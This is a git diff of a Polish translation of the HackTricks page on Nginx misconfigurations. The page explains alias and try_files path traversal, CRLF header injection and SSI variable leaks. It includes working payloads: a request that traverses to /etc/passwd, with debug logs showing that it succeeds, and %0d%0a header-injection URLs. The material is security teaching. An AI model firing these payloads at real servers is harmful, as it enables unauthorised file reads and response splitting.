mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/nginx.md'] t
This commit is contained in:
parent
ee2beef5fd
commit
32fecc4ada
BIN
src/images/nginx_try_files.png
Normal file
BIN
src/images/nginx_try_files.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 190 KiB |
@ -16,13 +16,13 @@ proxy_pass http://127.0.0.1:8080/;
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
W tej konfiguracji `/etc/nginx` jest wyznaczone jako katalog główny. Ta konfiguracja umożliwia dostęp do plików w określonym katalogu głównym, takich jak `/hello.txt`. Jednak ważne jest, aby zauważyć, że zdefiniowana jest tylko konkretna lokalizacja (`/hello.txt`). Nie ma konfiguracji dla lokalizacji głównej (`location / {...}`). To pominięcie oznacza, że dyrektywa root ma zastosowanie globalnie, co umożliwia żądaniom do ścieżki głównej `/` dostęp do plików w `/etc/nginx`.
|
W tej konfiguracji `/etc/nginx` jest wyznaczone jako katalog główny. Ta konfiguracja umożliwia dostęp do plików w określonym katalogu głównym, takich jak `/hello.txt`. Jednak ważne jest, aby zauważyć, że zdefiniowana jest tylko konkretna lokalizacja (`/hello.txt`). Nie ma konfiguracji dla lokalizacji głównej (`location / {...}`). To pominięcie oznacza, że dyrektywa root ma zastosowanie globalne, co umożliwia żądaniom do ścieżki głównej `/` dostęp do plików w `/etc/nginx`.
|
||||||
|
|
||||||
Krytyczne zagadnienie bezpieczeństwa wynika z tej konfiguracji. Proste żądanie `GET`, takie jak `GET /nginx.conf`, może ujawnić wrażliwe informacje, serwując plik konfiguracyjny Nginx znajdujący się w `/etc/nginx/nginx.conf`. Ustawienie katalogu głównego na mniej wrażliwy katalog, taki jak `/etc`, może złagodzić to ryzyko, jednak nadal może umożliwić niezamierzony dostęp do innych krytycznych plików, w tym innych plików konfiguracyjnych, dzienników dostępu, a nawet zaszyfrowanych poświadczeń używanych do podstawowej autoryzacji HTTP.
|
Krytyczne zagadnienie bezpieczeństwa wynika z tej konfiguracji. Proste żądanie `GET`, takie jak `GET /nginx.conf`, może ujawnić wrażliwe informacje, serwując plik konfiguracyjny Nginx znajdujący się w `/etc/nginx/nginx.conf`. Ustawienie katalogu głównego na mniej wrażliwy katalog, taki jak `/etc`, może złagodzić to ryzyko, jednak nadal może umożliwić niezamierzony dostęp do innych krytycznych plików, w tym innych plików konfiguracyjnych, dzienników dostępu, a nawet zaszyfrowanych poświadczeń używanych do podstawowej autoryzacji HTTP.
|
||||||
|
|
||||||
## Alias LFI Misconfiguration <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
|
## Alias LFI Misconfiguration <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
|
||||||
|
|
||||||
W plikach konfiguracyjnych Nginx należy dokładnie sprawdzić dyrektywy "location". Wrażliwość znana jako Local File Inclusion (LFI) może być niezamierzenie wprowadzona przez konfigurację przypominającą następującą:
|
W plikach konfiguracyjnych Nginx należy dokładnie zbadać dyrektywy "location". Wrażliwość znana jako Local File Inclusion (LFI) może być niezamierzenie wprowadzona przez konfigurację, która przypomina następującą:
|
||||||
```
|
```
|
||||||
location /imgs {
|
location /imgs {
|
||||||
alias /path/images/;
|
alias /path/images/;
|
||||||
@ -64,7 +64,7 @@ deny all;
|
|||||||
|
|
||||||
## Niebezpieczne użycie zmiennych / Podział żądania HTTP <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
|
## Niebezpieczne użycie zmiennych / Podział żądania HTTP <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!OSTRZEŻENIE]
|
||||||
> Wrażliwe zmienne `$uri` i `$document_uri`, które można naprawić, zastępując je `$request_uri`.
|
> Wrażliwe zmienne `$uri` i `$document_uri`, które można naprawić, zastępując je `$request_uri`.
|
||||||
>
|
>
|
||||||
> Wyrażenie regularne również może być wrażliwe, jak:
|
> Wyrażenie regularne również może być wrażliwe, jak:
|
||||||
@ -81,7 +81,7 @@ location / {
|
|||||||
return 302 https://example.com$uri;
|
return 302 https://example.com$uri;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Znaki \r (Carriage Return) i \n (Line Feed) oznaczają znaki nowej linii w żądaniach HTTP, a ich zakodowane w URL formy są reprezentowane jako `%0d%0a`. Włączenie tych znaków w żądaniu (np. `http://localhost/%0d%0aDetectify:%20clrf`) do źle skonfigurowanego serwera skutkuje tym, że serwer wydaje nowy nagłówek o nazwie `Detectify`. Dzieje się tak, ponieważ zmienna $uri dekoduje zakodowane w URL znaki nowej linii, co prowadzi do nieoczekiwanego nagłówka w odpowiedzi:
|
Znaki \r (Carriage Return) i \n (Line Feed) oznaczają znaki nowej linii w żądaniach HTTP, a ich zakodowane w URL formy są reprezentowane jako `%0d%0a`. Włączenie tych znaków w żądaniu (np. `http://localhost/%0d%0aDetectify:%20clrf`) do źle skonfigurowanego serwera skutkuje wydaniem przez serwer nowego nagłówka o nazwie `Detectify`. Dzieje się tak, ponieważ zmienna $uri dekoduje zakodowane w URL znaki nowej linii, co prowadzi do nieoczekiwanego nagłówka w odpowiedzi:
|
||||||
```
|
```
|
||||||
HTTP/1.1 302 Moved Temporarily
|
HTTP/1.1 302 Moved Temporarily
|
||||||
Server: nginx/1.19.3
|
Server: nginx/1.19.3
|
||||||
@ -93,12 +93,12 @@ Detectify: clrf
|
|||||||
```
|
```
|
||||||
Dowiedz się więcej o ryzykach związanych z wstrzykiwaniem CRLF i dzieleniem odpowiedzi na [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
|
Dowiedz się więcej o ryzykach związanych z wstrzykiwaniem CRLF i dzieleniem odpowiedzi na [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
|
||||||
|
|
||||||
Ta technika jest również [**wyjaśniona w tym wykładzie**](https://www.youtube.com/watch?v=gWQyWdZbdoY&list=PL0xCSYnG_iTtJe2V6PQqamBF73n7-f1Nr&index=77) z przykładami podatnymi i mechanizmami wykrywania. Na przykład, aby wykryć tę niewłaściwą konfigurację z perspektywy czarnej skrzynki, możesz użyć tych żądań:
|
Ta technika jest [**wyjaśniona w tym wykładzie**](https://www.youtube.com/watch?v=gWQyWdZbdoY&list=PL0xCSYnG_iTtJe2V6PQqamBF73n7-f1Nr&index=77) z przykładami podatnymi i mechanizmami wykrywania. Na przykład, aby wykryć tę niewłaściwą konfigurację z perspektywy czarnej skrzynki, możesz użyć tych żądań:
|
||||||
|
|
||||||
- `https://example.com/%20X` - Dowolny kod HTTP
|
- `https://example.com/%20X` - Dowolny kod HTTP
|
||||||
- `https://example.com/%20H` - 400 Bad Request
|
- `https://example.com/%20H` - 400 Bad Request
|
||||||
|
|
||||||
Jeśli jest podatny, pierwsze zwróci jako "X", ponieważ jest to dowolna metoda HTTP, a drugie zwróci błąd, ponieważ H nie jest prawidłową metodą. Serwer otrzyma coś takiego: `GET / H HTTP/1.1` i to spowoduje błąd.
|
Jeśli jest podatny, pierwsze zwróci, ponieważ "X" jest dowolną metodą HTTP, a drugie zwróci błąd, ponieważ H nie jest prawidłową metodą. Serwer otrzyma coś takiego: `GET / H HTTP/1.1` i to wywoła błąd.
|
||||||
|
|
||||||
Inne przykłady wykrywania to:
|
Inne przykłady wykrywania to:
|
||||||
|
|
||||||
@ -127,17 +127,67 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri;
|
|||||||
```
|
```
|
||||||
### Any variable
|
### Any variable
|
||||||
|
|
||||||
Odkryto, że **dane dostarczone przez użytkownika** mogą być traktowane jako **zmienna Nginx** w określonych okolicznościach. Przyczyna tego zachowania pozostaje nieco niejasna, jednak nie jest to rzadkie ani łatwe do zweryfikowania. Ta anomalia została podkreślona w raporcie bezpieczeństwa na HackerOne, który można zobaczyć [tutaj](https://hackerone.com/reports/370094). Dalsze badania komunikatu o błędzie doprowadziły do zidentyfikowania jego wystąpienia w [module filtra SSI w kodzie Nginx](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), wskazując na Server Side Includes (SSI) jako przyczynę.
|
Odkryto, że **dane dostarczone przez użytkownika** mogą być traktowane jako **zmienna Nginx** w określonych okolicznościach. Przyczyna tego zachowania pozostaje nieco niejasna, jednak nie jest to rzadkie ani łatwe do zweryfikowania. Ta anomalia została podkreślona w raporcie bezpieczeństwa na HackerOne, który można zobaczyć [tutaj](https://hackerone.com/reports/370094). Dalsze badania nad komunikatem o błędzie doprowadziły do zidentyfikowania jego wystąpienia w [module filtra SSI w kodzie Nginx](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), wskazując na Server Side Includes (SSI) jako przyczynę.
|
||||||
|
|
||||||
Aby **wykryć tę błędną konfigurację**, można wykonać następujące polecenie, które polega na ustawieniu nagłówka referer w celu przetestowania drukowania zmiennej:
|
Aby **wykryć tę błędną konfigurację**, można wykonać następujące polecenie, które polega na ustawieniu nagłówka referer w celu przetestowania drukowania zmiennej:
|
||||||
```bash
|
```bash
|
||||||
$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
|
$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
|
||||||
```
|
```
|
||||||
Skany tej niewłaściwej konfiguracji w różnych systemach ujawniły wiele przypadków, w których zmienne Nginx mogły być wyświetlane przez użytkownika. Jednak spadek liczby podatnych przypadków sugeruje, że wysiłki na rzecz naprawienia tego problemu były w pewnym stopniu skuteczne.
|
Skanowanie tej błędnej konfiguracji w różnych systemach ujawniło wiele przypadków, w których zmienne Nginx mogły być wyświetlane przez użytkownika. Jednak spadek liczby podatnych przypadków sugeruje, że wysiłki na rzecz naprawy tego problemu były w pewnym stopniu skuteczne.
|
||||||
|
|
||||||
|
### Używanie try_files z zmiennymi $URI$ARGS
|
||||||
|
|
||||||
|
Następująca błędna konfiguracja Nginx może prowadzić do podatności LFI:
|
||||||
|
```
|
||||||
|
location / {
|
||||||
|
try_files $uri$args $uri$args/ /index.html;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
W naszej konfiguracji mamy dyrektywę `try_files`, która jest używana do sprawdzania istnienia plików w określonej kolejności. Nginx dostarczy pierwszy, który znajdzie. Podstawowa składnia dyrektywy `try_files` jest następująca:
|
||||||
|
```
|
||||||
|
try_files file1 file2 ... fileN fallback;
|
||||||
|
```
|
||||||
|
Nginx sprawdzi istnienie każdego pliku w określonej kolejności. Jeśli plik istnieje, zostanie natychmiast udostępniony. Jeśli żaden z określonych plików nie istnieje, żądanie zostanie przekazane do opcji zapasowej, która może być innym URI lub konkretną stroną błędu.
|
||||||
|
|
||||||
|
Jednakże, gdy używane są zmienne `$uri$args` w tej dyrektywie, Nginx spróbuje znaleźć plik, który pasuje do URI żądania połączonego z dowolnymi argumentami ciągu zapytania. Dlatego możemy wykorzystać tę konfigurację:
|
||||||
|
```
|
||||||
|
http {
|
||||||
|
server {
|
||||||
|
root /var/www/html/public;
|
||||||
|
|
||||||
|
location / {
|
||||||
|
try_files $uri$args $uri$args/ /index.html;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Z następującym ładunkiem:
|
||||||
|
```
|
||||||
|
GET /?../../../../../../../../etc/passwd HTTP/1.1
|
||||||
|
Host: example.com
|
||||||
|
```
|
||||||
|
Używając naszego ładunku, wyjdziemy poza katalog główny (zdefiniowany w konfiguracji Nginx) i załadujemy plik `/etc/passwd`. W logach debugowania możemy zaobserwować, jak Nginx próbuje plików:
|
||||||
|
```
|
||||||
|
...SNIP...
|
||||||
|
|
||||||
|
2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
|
||||||
|
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"
|
||||||
|
|
||||||
|
...SNIP...
|
||||||
|
|
||||||
|
2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"
|
||||||
|
|
||||||
|
...SNIP...
|
||||||
|
|
||||||
|
2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK
|
||||||
|
|
||||||
|
```
|
||||||
|
PoC przeciwko Nginx przy użyciu powyższej konfiguracji:
|
||||||
|

|
||||||
|
|
||||||
## Odczyt surowej odpowiedzi backendu
|
## Odczyt surowej odpowiedzi backendu
|
||||||
|
|
||||||
Nginx oferuje funkcję poprzez `proxy_pass`, która umożliwia przechwytywanie błędów i nagłówków HTTP generowanych przez backend, mając na celu ukrycie wewnętrznych komunikatów o błędach i nagłówków. Osiąga się to poprzez serwowanie przez Nginx niestandardowych stron błędów w odpowiedzi na błędy backendu. Jednak pojawiają się wyzwania, gdy Nginx napotyka nieprawidłowe żądanie HTTP. Takie żądanie jest przekazywane do backendu w takiej formie, w jakiej zostało odebrane, a surowa odpowiedź backendu jest następnie bezpośrednio wysyłana do klienta bez interwencji Nginx.
|
Nginx oferuje funkcję przez `proxy_pass`, która umożliwia przechwytywanie błędów i nagłówków HTTP generowanych przez backend, mając na celu ukrycie wewnętrznych komunikatów o błędach i nagłówków. Osiąga się to poprzez serwowanie przez Nginx niestandardowych stron błędów w odpowiedzi na błędy backendu. Jednakże, pojawiają się wyzwania, gdy Nginx napotyka nieprawidłowe żądanie HTTP. Takie żądanie jest przekazywane do backendu w takiej formie, w jakiej zostało odebrane, a surowa odpowiedź backendu jest następnie bezpośrednio wysyłana do klienta bez interwencji Nginx.
|
||||||
|
|
||||||
Rozważmy przykładowy scenariusz z aplikacją uWSGI:
|
Rozważmy przykładowy scenariusz z aplikacją uWSGI:
|
||||||
```python
|
```python
|
||||||
@ -153,7 +203,7 @@ proxy_intercept_errors on;
|
|||||||
proxy_hide_header Secret-Header;
|
proxy_hide_header Secret-Header;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
- [**proxy_intercept_errors**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_intercept_errors): Ta dyrektywa umożliwia Nginxowi serwowanie niestandardowej odpowiedzi dla odpowiedzi backendu z kodem statusu większym niż 300. Zapewnia to, że w naszym przykładzie aplikacji uWSGI odpowiedź `500 Error` jest przechwytywana i obsługiwana przez Nginx.
|
- [**proxy_intercept_errors**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_intercept_errors): Ta dyrektywa umożliwia Nginxowi serwowanie niestandardowej odpowiedzi dla odpowiedzi backendu z kodem statusu większym niż 300. Zapewnia to, że w przypadku naszej aplikacji uWSGI odpowiedź `500 Error` jest przechwytywana i obsługiwana przez Nginx.
|
||||||
- [**proxy_hide_header**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_hide_header): Jak sama nazwa wskazuje, ta dyrektywa ukrywa określone nagłówki HTTP przed klientem, zwiększając prywatność i bezpieczeństwo.
|
- [**proxy_hide_header**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_hide_header): Jak sama nazwa wskazuje, ta dyrektywa ukrywa określone nagłówki HTTP przed klientem, zwiększając prywatność i bezpieczeństwo.
|
||||||
|
|
||||||
Gdy zostanie wysłane ważne żądanie `GET`, Nginx przetwarza je normalnie, zwracając standardową odpowiedź błędu bez ujawniania jakichkolwiek tajnych nagłówków. Jednak nieprawidłowe żądanie HTTP omija ten mechanizm, co skutkuje ujawnieniem surowych odpowiedzi backendu, w tym tajnych nagłówków i komunikatów o błędach.
|
Gdy zostanie wysłane ważne żądanie `GET`, Nginx przetwarza je normalnie, zwracając standardową odpowiedź błędu bez ujawniania jakichkolwiek tajnych nagłówków. Jednak nieprawidłowe żądanie HTTP omija ten mechanizm, co skutkuje ujawnieniem surowych odpowiedzi backendu, w tym tajnych nagłówków i komunikatów o błędach.
|
||||||
@ -172,8 +222,8 @@ Jak pokazano w [**tym artykule**](https://mizu.re/post/cors-playground), istniej
|
|||||||
|
|
||||||
- `X-Accel-Redirect`: Wskazuje Nginxowi, aby wewnętrznie przekierował żądanie do określonej lokalizacji.
|
- `X-Accel-Redirect`: Wskazuje Nginxowi, aby wewnętrznie przekierował żądanie do określonej lokalizacji.
|
||||||
- `X-Accel-Buffering`: Kontroluje, czy Nginx powinien buforować odpowiedź, czy nie.
|
- `X-Accel-Buffering`: Kontroluje, czy Nginx powinien buforować odpowiedź, czy nie.
|
||||||
- `X-Accel-Charset`: Ustala zestaw znaków dla odpowiedzi przy użyciu X-Accel-Redirect.
|
- `X-Accel-Charset`: Ustawia zestaw znaków dla odpowiedzi przy użyciu X-Accel-Redirect.
|
||||||
- `X-Accel-Expires`: Ustala czas wygaśnięcia odpowiedzi przy użyciu X-Accel-Redirect.
|
- `X-Accel-Expires`: Ustawia czas wygaśnięcia dla odpowiedzi przy użyciu X-Accel-Redirect.
|
||||||
- `X-Accel-Limit-Rate`: Ogranicza szybkość transferu dla odpowiedzi przy użyciu X-Accel-Redirect.
|
- `X-Accel-Limit-Rate`: Ogranicza szybkość transferu dla odpowiedzi przy użyciu X-Accel-Redirect.
|
||||||
|
|
||||||
Na przykład nagłówek **`X-Accel-Redirect`** spowoduje wewnętrzne **przekierowanie** w Nginx. Tak więc posiadanie konfiguracji Nginx z czymś takim jak **`root /`** i odpowiedzi z serwera WWW z **`X-Accel-Redirect: .env`** spowoduje, że Nginx wyśle zawartość **`/.env`** (Path Traversal).
|
Na przykład nagłówek **`X-Accel-Redirect`** spowoduje wewnętrzne **przekierowanie** w Nginx. Tak więc posiadanie konfiguracji Nginx z czymś takim jak **`root /`** i odpowiedzi z serwera WWW z **`X-Accel-Redirect: .env`** spowoduje, że Nginx wyśle zawartość **`/.env`** (Path Traversal).
|
||||||
|
Loading…
x
Reference in New Issue
Block a user